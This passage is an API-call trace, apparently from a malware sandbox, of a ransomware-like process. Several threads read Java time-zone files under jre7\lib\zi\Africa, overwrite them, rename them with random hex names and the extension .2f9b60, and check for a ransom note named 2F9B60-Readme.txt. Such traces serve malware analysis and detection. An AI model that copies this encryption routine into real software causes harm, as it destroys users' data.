Size=0x20) returned 0x42d31f40 [0183.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31f70 [0183.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d31f70) returned 1 [0183.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec69a0) returned 1 [0183.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18870) returned 1 [0183.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x43144720 [0187.985] SetFilePointerEx (in: hFile=0x296c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0187.985] WriteFile (in: hFile=0x296c, lpBuffer=0x43144720*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x23f1f6d0, lpOverlapped=0x0 | out: lpBuffer=0x43144720*, lpNumberOfBytesWritten=0x23f1f6d0*=0x108, lpOverlapped=0x0) returned 1 [0202.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bfc0 [0202.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5ae30 [0202.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4240 [0202.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4240) returned 1 [0202.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d3a0 [0202.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4240 [0202.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4270 [0202.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4270) returned 1 [0202.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ae30) returned 1 [0202.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bfc0) returned 1 [0202.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f670 [0202.826] sprintf (in: _Dest=0x1cd9f670, _Format="%c%c" | out: _Dest="fd") returned 2 [0202.826] sprintf (in: _Dest=0x1cd9f672, _Format="%c%c" | out: _Dest="b3") returned 2 [0202.826] sprintf (in: _Dest=0x1cd9f674, _Format="%c%c" | out: _Dest="68") returned 2 [0202.826] sprintf (in: _Dest=0x1cd9f676, _Format="%c%c" | out: _Dest="c4") returned 2 [0202.826] sprintf (in: _Dest=0x1cd9f678, _Format="%c%c" | out: _Dest="78") returned 2 [0202.826] sprintf (in: _Dest=0x1cd9f67a, _Format="%c%c" | out: _Dest="6c") returned 2 [0202.826] sprintf (in: _Dest=0x1cd9f67c, _Format="%c%c" | out: _Dest="11") returned 2 [0202.826] sprintf (in: _Dest=0x1cd9f67e, _Format="%c%c" | out: _Dest="24") returned 2 [0202.826] sprintf (in: _Dest=0x1cd9f680, _Format="%c%c" | out: _Dest="bf") returned 2 [0202.826] sprintf (in: _Dest=0x1cd9f682, _Format="%c%c" | out: _Dest="86") returned 2 [0202.826] sprintf (in: _Dest=0x1cd9f684, _Format="%c%c" | out: _Dest="84") returned 2 [0202.826] sprintf (in: _Dest=0x1cd9f686, _Format="%c%c" | out: _Dest="0e") returned 2 [0202.826] sprintf (in: _Dest=0x1cd9f688, _Format="%c%c" | out: _Dest="bd") returned 2 [0202.826] sprintf (in: _Dest=0x1cd9f68a, _Format="%c%c" | out: _Dest="9e") returned 2 [0202.826] sprintf (in: _Dest=0x1cd9f68c, _Format="%c%c" | out: _Dest="24") returned 2 [0202.826] sprintf (in: _Dest=0x1cd9f68e, _Format="%c%c" | out: _Dest="37") returned 2 [0202.826] sprintf (in: _Dest=0x1cd9f690, _Format="%c%c" | out: _Dest="5b") returned 2 [0202.826] sprintf (in: _Dest=0x1cd9f692, _Format="%c%c" | out: _Dest="aa") returned 2 [0202.826] sprintf (in: _Dest=0x1cd9f694, _Format="%c%c" | out: _Dest="98") returned 2 [0202.826] sprintf (in: _Dest=0x1cd9f696, _Format="%c%c" | out: _Dest="5d") returned 2 [0202.826] sprintf (in: _Dest=0x1cd9f698, _Format="%c%c" | out: _Dest="ff") returned 2 [0202.826] sprintf (in: _Dest=0x1cd9f69a, _Format="%c%c" | out: _Dest="df") returned 2 [0202.826] RtlInitAnsiString (in: DestinationString=0x23f1f748, SourceString="fdb368c4786c1124bf86840ebd9e24375baa985dffdf" | out: DestinationString="fdb368c4786c1124bf86840ebd9e24375baa985dffdf") [0202.826] RtlAnsiStringToUnicodeString (in: DestinationString=0x23f1f718, SourceString="fdb368c4786c1124bf86840ebd9e24375baa985dffdf", AllocateDestinationString=1 | out: DestinationString="fdb368c4786c1124bf86840ebd9e24375baa985dffdf") returned 0x0 [0202.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x4319eb80 [0202.827] wcscat (in: _Dest=0x431a3a40, _Source="fdb368c4786" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\fdb368c4786") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\fdb368c4786" [0202.827] wcscat (in: _Dest=0x431a3a40, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\fdb368c4786.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\fdb368c4786.2f9b60" [0202.827] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\fdb368c4786.2f9b60", NtPathName=0x23f1f6f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\fdb368c4786.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0202.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1cec0fa0 [0237.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec0fa0) returned 1 [0237.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4321ddd0) returned 1 [0237.698] NtQueryInformationFile (in: FileHandle=0x296c, IoStatusBlock=0x23f1f758, FileInformation=0x23f1f768, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x23f1f758, FileInformation=0x23f1f768) returned 0x0 [0237.698] NtSetInformationFile (FileHandle=0x296c, IoStatusBlock=0x23f1f758, FileInformation=0x23f1f768, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a3a40) returned 1 [0237.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4319eb80) returned 1 [0237.956] FlushFileBuffers (hFile=0x296c) returned 1 [0238.248] CloseHandle (hObject=0x296c) returned 1 [0241.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x431a4340 [0241.699] wcscpy (in: _Dest=0x431a4340, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0241.699] wcscat (in: _Dest=0x431a4340, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" [0241.699] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\2f9b60-readme.txt")) returned 0x20 [0243.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a4340) returned 1 [0243.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebea00) returned 1 Thread: id = 2802 os_tid = 0x19a0 [0159.875] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Algiers" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\algiers")) returned 0x20 [0165.798] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Algiers", dwFileAttributes=0x20) returned 1 [0166.743] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Algiers" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\algiers"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2970 [0166.743] GetFileSizeEx (in: hFile=0x2970, lpFileSize=0x1daafa80 | out: lpFileSize=0x1daafa80*=333) returned 1 [0166.743] SetFilePointerEx (in: hFile=0x2970, liDistanceToMove=0x149, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.743] ReadFile (in: hFile=0x2970, lpBuffer=0x1daafa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1daafa48, lpOverlapped=0x0 | out: lpBuffer=0x1daafa00*, lpNumberOfBytesRead=0x1daafa48*=0x4, lpOverlapped=0x0) returned 1 [0166.744] SetFilePointerEx (in: hFile=0x2970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.744] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0166.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4330 [0166.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4450 [0166.745] NtQuerySystemTime (in: CurrentTime=0x1daaf940 | out: CurrentTime=0x1daaf940*=132462177718570000) returned 0x0 [0166.745] RtlRandomEx (in: Seed=0x1daaf930 | out: Seed=0x1daaf930) returned 0x33e6be0b [0166.745] RtlRandomEx (in: Seed=0x1daaf930 | out: Seed=0x1daaf930) returned 0x6861bf50 [0166.745] RtlRandomEx (in: Seed=0x1daaf930 | out: Seed=0x1daaf930) returned 0x7925c937 [0166.745] RtlRandomEx (in: Seed=0x1daaf930 | out: Seed=0x1daaf930) returned 0x6f4a6112 [0166.745] RtlRandomEx (in: Seed=0x1daaf930 | out: Seed=0x1daaf930) returned 0x2cc52c70 [0166.745] RtlRandomEx (in: Seed=0x1daaf930 | out: Seed=0x1daaf930) returned 0x3cb865cc [0166.745] RtlRandomEx (in: Seed=0x1daaf930 | out: Seed=0x1daaf930) returned 0x59e82296 [0166.745] RtlRandomEx (in: Seed=0x1daaf930 | out: Seed=0x1daaf930) returned 0x67caa707 [0166.745] RtlRandomEx (in: Seed=0x1daaf930 | out: Seed=0x1daaf930) returned 0x247bde26 [0166.745] RtlRandomEx (in: Seed=0x1daaf930 | out: Seed=0x1daaf930) returned 0x2196936d [0166.745] RtlRandomEx (in: Seed=0x1daaf930 | out: Seed=0x1daaf930) returned 0x1d8bf3e8 [0166.745] RtlRandomEx (in: Seed=0x1daaf930 | out: Seed=0x1daaf930) returned 0x5072d6b5 [0166.745] RtlRandomEx (in: Seed=0x1daaf930 | out: Seed=0x1daaf930) returned 0x6a469226 [0166.745] RtlRandomEx (in: Seed=0x1daaf930 | out: Seed=0x1daaf930) returned 0x5d4a2e4a [0166.745] RtlRandomEx (in: Seed=0x1daaf930 | out: Seed=0x1daaf930) returned 0x6acc02e1 [0166.745] RtlRandomEx (in: Seed=0x1daaf930 | out: Seed=0x1daaf930) returned 0x172314e2 [0166.745] RtlRandomEx (in: Seed=0x1daaf930 | out: Seed=0x1daaf930) returned 0x696aded1 [0166.745] RtlRandomEx (in: Seed=0x1daaf930 | out: Seed=0x1daaf930) returned 0x4f2677fe [0166.746] RtlRandomEx (in: Seed=0x1daaf930 | out: Seed=0x1daaf930) returned 0x4b4357e0 [0166.746] RtlRandomEx (in: Seed=0x1daaf930 | out: Seed=0x1daaf930) returned 0x6538ac7f [0166.746] RtlRandomEx (in: Seed=0x1daaf930 | out: Seed=0x1daaf930) returned 0x2fc3fa30 [0166.746] RtlRandomEx (in: Seed=0x1daaf930 | out: Seed=0x1daaf930) returned 0xe758a14 [0166.746] RtlRandomEx (in: Seed=0x1daaf930 | out: Seed=0x1daaf930) returned 0x2f17d77b [0166.746] RtlRandomEx (in: Seed=0x1daaf930 | out: Seed=0x1daaf930) returned 0xa6cb9d8 [0166.746] RtlRandomEx (in: Seed=0x1daaf930 | out: Seed=0x1daaf930) returned 0x752fcc06 [0166.746] RtlRandomEx (in: Seed=0x1daaf930 | out: Seed=0x1daaf930) returned 0x432312a8 [0166.746] RtlRandomEx (in: Seed=0x1daaf930 | out: Seed=0x1daaf930) returned 0xd9846e4 [0166.746] RtlRandomEx (in: Seed=0x1daaf930 | out: Seed=0x1daaf930) returned 0x4fabbedb [0166.746] RtlRandomEx (in: Seed=0x1daaf930 | out: Seed=0x1daaf930) returned 0x7ac7c04c [0166.746] RtlRandomEx (in: Seed=0x1daaf930 | out: Seed=0x1daaf930) returned 0x2f92008 [0166.746] RtlRandomEx (in: Seed=0x1daaf930 | out: Seed=0x1daaf930) returned 0x21faef33 [0166.746] RtlRandomEx (in: Seed=0x1daaf930 | out: Seed=0x1daaf930) returned 0x315f571 [0166.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f41e0 [0166.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6a20 [0166.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f41b0 [0166.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6a20) returned 1 [0166.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4450) returned 1 [0166.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0166.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18960 [0166.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6a20 [0166.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0166.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0166.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422bd570 [0166.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422d3dd0 [0166.761] ReadFile (in: hFile=0x2970, lpBuffer=0x422bd570, nNumberOfBytesToRead=0x14d, lpNumberOfBytesRead=0x1daaf930, lpOverlapped=0x0 | out: lpBuffer=0x422bd570*, lpNumberOfBytesRead=0x1daaf930*=0x14d, lpOverlapped=0x0) returned 1 [0166.761] SetFilePointerEx (in: hFile=0x2970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.761] WriteFile (in: hFile=0x2970, lpBuffer=0x422d3dd0*, nNumberOfBytesToWrite=0x14d, lpNumberOfBytesWritten=0x1daaf934, lpOverlapped=0x0 | out: lpBuffer=0x422d3dd0*, lpNumberOfBytesWritten=0x1daaf934*=0x14d, lpOverlapped=0x0) returned 1 [0183.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d318e0 [0183.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31910 [0183.351] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d31910) returned 1 [0183.351] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422d3dd0) returned 1 [0183.352] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422bd570) returned 1 [0183.352] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6a20) returned 1 [0183.352] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18960) returned 1 [0183.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x42d31910 [0183.353] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18960 [0183.353] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6a20 [0183.353] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31940 [0183.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d31940) returned 1 [0183.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x42d31940 [0183.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31970 [0183.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d319a0 [0183.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d319a0) returned 1 [0183.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6a20) returned 1 [0183.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18960) returned 1 [0183.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x100) returned 0x4312e720 [0187.465] SetFilePointerEx (in: hFile=0x2970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0187.465] WriteFile (in: hFile=0x2970, lpBuffer=0x4312e720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1daafa50, lpOverlapped=0x0 | out: lpBuffer=0x4312e720*, lpNumberOfBytesWritten=0x1daafa50*=0x100, lpOverlapped=0x0) returned 1 [0202.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bfc0 [0202.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b130 [0202.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f43c0 [0202.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f43c0) returned 1 [0202.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82d520 [0202.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f43c0 [0202.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f46c0 [0202.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f46c0) returned 1 [0202.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b130) returned 1 [0202.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bfc0) returned 1 [0202.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x422f46c0 [0202.949] sprintf (in: _Dest=0x422f46c0, _Format="%c%c" | out: _Dest="58") returned 2 [0202.949] sprintf (in: _Dest=0x422f46c2, _Format="%c%c" | out: _Dest="3a") returned 2 [0202.949] sprintf (in: _Dest=0x422f46c4, _Format="%c%c" | out: _Dest="73") returned 2 [0202.949] sprintf (in: _Dest=0x422f46c6, _Format="%c%c" | out: _Dest="c5") returned 2 [0202.950] sprintf (in: _Dest=0x422f46c8, _Format="%c%c" | out: _Dest="ee") returned 2 [0202.950] sprintf (in: _Dest=0x422f46ca, _Format="%c%c" | out: _Dest="9a") returned 2 [0202.950] sprintf (in: _Dest=0x422f46cc, _Format="%c%c" | out: _Dest="b1") returned 2 [0202.950] sprintf (in: _Dest=0x422f46ce, _Format="%c%c" | out: _Dest="2c") returned 2 [0202.950] sprintf (in: _Dest=0x422f46d0, _Format="%c%c" | out: _Dest="c3") returned 2 [0202.950] sprintf (in: _Dest=0x422f46d2, _Format="%c%c" | out: _Dest="01") returned 2 [0202.950] sprintf (in: _Dest=0x422f46d4, _Format="%c%c" | out: _Dest="22") returned 2 [0202.950] sprintf (in: _Dest=0x422f46d6, _Format="%c%c" | out: _Dest="a0") returned 2 [0202.950] sprintf (in: _Dest=0x422f46d8, _Format="%c%c" | out: _Dest="39") returned 2 [0202.950] sprintf (in: _Dest=0x422f46da, _Format="%c%c" | out: _Dest="2a") returned 2 [0202.950] RtlInitAnsiString (in: DestinationString=0x1daafac8, SourceString="583a73c5ee9ab12cc30122a0392a" | out: DestinationString="583a73c5ee9ab12cc30122a0392a") [0202.950] RtlAnsiStringToUnicodeString (in: DestinationString=0x1daafa98, SourceString="583a73c5ee9ab12cc30122a0392a", AllocateDestinationString=1 | out: DestinationString="583a73c5ee9ab12cc30122a0392a") returned 0x0 [0202.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1ce62190 [0202.951] wcscat (in: _Dest=0x431a3ec0, _Source="583a73c" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\583a73c") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\583a73c" [0202.951] wcscat (in: _Dest=0x431a3ec0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\583a73c.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\583a73c.2f9b60" [0202.951] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\583a73c.2f9b60", NtPathName=0x1daafa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\583a73c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0202.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1cec1470 [0237.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec1470) returned 1 [0237.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4321fea0) returned 1 [0237.694] NtQueryInformationFile (in: FileHandle=0x2970, IoStatusBlock=0x1daafad8, FileInformation=0x1daafae8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1daafad8, FileInformation=0x1daafae8) returned 0x0 [0237.694] NtSetInformationFile (FileHandle=0x2970, IoStatusBlock=0x1daafad8, FileInformation=0x1daafae8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.959] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a3ec0) returned 1 [0237.959] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62190) returned 1 [0237.959] FlushFileBuffers (hFile=0x2970) returned 1 [0238.252] CloseHandle (hObject=0x2970) returned 1 [0241.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x431a3c80 [0241.710] wcscpy (in: _Dest=0x431a3c80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0241.710] wcscat (in: _Dest=0x431a3c80, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" [0241.710] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\2f9b60-readme.txt")) returned 0x20 [0243.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a3c80) returned 1 [0243.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebeb00) returned 1 Thread: id = 2803 os_tid = 0x16f4 [0159.876] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Asmara" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\asmara")) returned 0x20 [0165.798] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Asmara", dwFileAttributes=0x20) returned 1 [0166.727] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Asmara" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\asmara"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2974 [0166.727] GetFileSizeEx (in: hFile=0x2974, lpFileSize=0x1d5cf720 | out: lpFileSize=0x1d5cf720*=65) returned 1 [0166.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0166.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6dc0 [0166.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4330 [0166.728] NtQuerySystemTime (in: CurrentTime=0x1d5cf5e0 | out: CurrentTime=0x1d5cf5e0*=132462177718414000) returned 0x0 [0166.728] RtlRandomEx (in: Seed=0x1d5cf5d0 | out: Seed=0x1d5cf5d0) returned 0x530eeb5c [0166.728] RtlRandomEx (in: Seed=0x1d5cf5d0 | out: Seed=0x1d5cf5d0) returned 0x85e0f42 [0166.728] RtlRandomEx (in: Seed=0x1d5cf5d0 | out: Seed=0x1d5cf5d0) returned 0xa54ade3 [0166.728] RtlRandomEx (in: Seed=0x1d5cf5d0 | out: Seed=0x1d5cf5d0) returned 0x132c1762 [0166.728] RtlRandomEx (in: Seed=0x1d5cf5d0 | out: Seed=0x1d5cf5d0) returned 0x3ce1b0e0 [0166.728] RtlRandomEx (in: Seed=0x1d5cf5d0 | out: Seed=0x1d5cf5d0) returned 0x5de6c837 [0166.728] RtlRandomEx (in: Seed=0x1d5cf5d0 | out: Seed=0x1d5cf5d0) returned 0x5c1e1736 [0166.728] RtlRandomEx (in: Seed=0x1d5cf5d0 | out: Seed=0x1d5cf5d0) returned 0x29dd58e4 [0166.728] RtlRandomEx (in: Seed=0x1d5cf5d0 | out: Seed=0x1d5cf5d0) returned 0x413b3c3a [0166.728] RtlRandomEx (in: Seed=0x1d5cf5d0 | out: Seed=0x1d5cf5d0) returned 0x3f767819 [0166.728] RtlRandomEx (in: Seed=0x1d5cf5d0 | out: Seed=0x1d5cf5d0) returned 0x7afc59b8 [0166.728] RtlRandomEx (in: Seed=0x1d5cf5d0 | out: Seed=0x1d5cf5d0) returned 0x12e76829 [0166.729] RtlRandomEx (in: Seed=0x1d5cf5d0 | out: Seed=0x1d5cf5d0) returned 0x59c6a2f6 [0166.729] RtlRandomEx (in: Seed=0x1d5cf5d0 | out: Seed=0x1d5cf5d0) returned 0x3d376260 [0166.729] RtlRandomEx (in: Seed=0x1d5cf5d0 | out: Seed=0x1d5cf5d0) returned 0x212f3a15 [0166.729] RtlRandomEx (in: Seed=0x1d5cf5d0 | out: Seed=0x1d5cf5d0) returned 0x15e626c2 [0166.729] RtlRandomEx (in: Seed=0x1d5cf5d0 | out: Seed=0x1d5cf5d0) returned 0x2bbaacdf [0166.729] RtlRandomEx (in: Seed=0x1d5cf5d0 | out: Seed=0x1d5cf5d0) returned 0x1bc3e692 [0166.729] RtlRandomEx (in: Seed=0x1d5cf5d0 | out: Seed=0x1d5cf5d0) returned 0x74413d79 [0166.729] RtlRandomEx (in: Seed=0x1d5cf5d0 | out: Seed=0x1d5cf5d0) returned 0x40b4cac1 [0166.729] RtlRandomEx (in: Seed=0x1d5cf5d0 | out: Seed=0x1d5cf5d0) returned 0x267c4237 [0166.729] RtlRandomEx (in: Seed=0x1d5cf5d0 | out: Seed=0x1d5cf5d0) returned 0x4e0bf2a6 [0166.729] RtlRandomEx (in: Seed=0x1d5cf5d0 | out: Seed=0x1d5cf5d0) returned 0x1a0d16b1 [0166.729] RtlRandomEx (in: Seed=0x1d5cf5d0 | out: Seed=0x1d5cf5d0) returned 0x3a111c45 [0166.729] RtlRandomEx (in: Seed=0x1d5cf5d0 | out: Seed=0x1d5cf5d0) returned 0x3a60682e [0166.729] RtlRandomEx (in: Seed=0x1d5cf5d0 | out: Seed=0x1d5cf5d0) returned 